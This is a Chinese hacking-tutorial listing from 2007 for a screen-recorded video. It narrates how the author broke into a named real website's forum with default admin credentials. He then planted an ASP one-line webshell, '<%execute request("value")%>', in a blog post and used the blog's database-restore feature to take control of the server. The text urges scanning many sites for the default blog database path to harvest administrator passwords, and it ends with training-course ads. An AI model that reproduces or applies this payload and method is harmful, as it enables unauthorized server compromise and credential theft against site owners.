通过恢复博客数据库得到Webshell

动画大小：

17.7 MB

添加时间：

2007-07-28

动画性质：

无声演示

录制工具：

屏幕录象专家

作者姓名：

ヤ觉悟

作者 Q Q：

42741100

作者信箱：

不详

动画评级：

动画介绍：应为当时在搞这个站的时候我时间紧迫所以没拿工具看到了这个站有个BBS
一看原来是洞网论坛第一直觉就是用默认的帐号密码
admin
admin888
呵呵一下子进去了
我想大家的第一反映就是搞个图片木马或者是数据库木马
我们来试试
看到没
出现了不可识别的数据库格式 ’D:\金君洋财税网\bbs\UploadFile\2006-10\20061024438213074.gif’。备份的文件并非合法的数据库
这个提示郁闷怎么办我想了好半天才想出了1个法子
大家看
我们继续这里有个博客
进去先说进去了点添加连接
看我操作这里要运用到一句话木马了
在标题这插入<%execute request("value")%>
别的什么随便写下OK好了发表成功我主要想的是通过恢复博客的数据库
来让一句话木马的客户端连接插入在数据库中的马
不好意思搞错了
这个是博客的默认数据库boke/data/dvboke.mdb
在这要改下
成功恢复数据！
这下改到一句话木马客户端连接了
看到没出现这个我想下面的步骤大家也不需要我来说了吧
先拿下在说
保存成功!
好了这个站的webshell拿下了
我们进去看看
通过恢复博客数据库从而拿下这个站只是我的一个思路
希望大家看了别见笑
对了我用挖掘机扫了下你们就可以直接加上
/bbs/boke/data/dvboke.mdb后缀
可以扫到很多默认的数据库
通过工具可以很方便的得到帐号密码如果
对方BBS上的密码和博客密码一样
可以很轻松的拿到BBS管理远的帐号
我试了真的很多应为一般大家都注意改BBS的默认数据库从而望了
把博客的默认数据库也改了导致有机可趁
好了教程到此结素
在这我要感谢我的师傅也是我的老大、
黑枫无泪
谢谢他技术上的支持
愿加我QQ的
加我42741100
群号码30284438
谢谢观看
88

下载地址：

安全中国anqn.com下载

加入安全中国终身VIP会员待遇：
永久学习已开设的所有培训班课程和以后新开培训班课程
赠送7位无密码保护ＱＱ
赠送终身VIP会员独享光盘工具包一份
为终身VIP会员推荐安排工作就业

安全中国网友投稿专用上传FTP空间：
Ftp服务器：www.anqn.com
Ftp端口：21
用户名：anqn
密码：anqn.com

学习软件编程开发技术，推荐加入以下软件编程培训班：
易语言软件编程培训班（简单易学）　　Delphi软件编程培训班　　VC++软件编程培训班
VB软件编程培训班　　JAVA高端编程就业研发班

学习网站开发制作技术，推荐加入以下网站开发培训班：
ASP.net网站开发项目实战班　　ASP语言网站建设培训班

学习网络安全入侵防护技术，推荐加入以下技术培训班：
大型网络安全入侵防护班　　网站脚本程序全方位安全检测班

学习网络管理、网吧运营维护技术（网管），推荐加入以下培训班：
大型网吧技术管理人才特训班　　Linux网络嵌入架构工程师培训班

学习专项特殊技术，推荐加入以下专项技术培训班：
软件与游戏外挂脱壳破解班（逆向工程）　　赚钱王道-网赚技能培训班　　Flash动画设计师就业特训班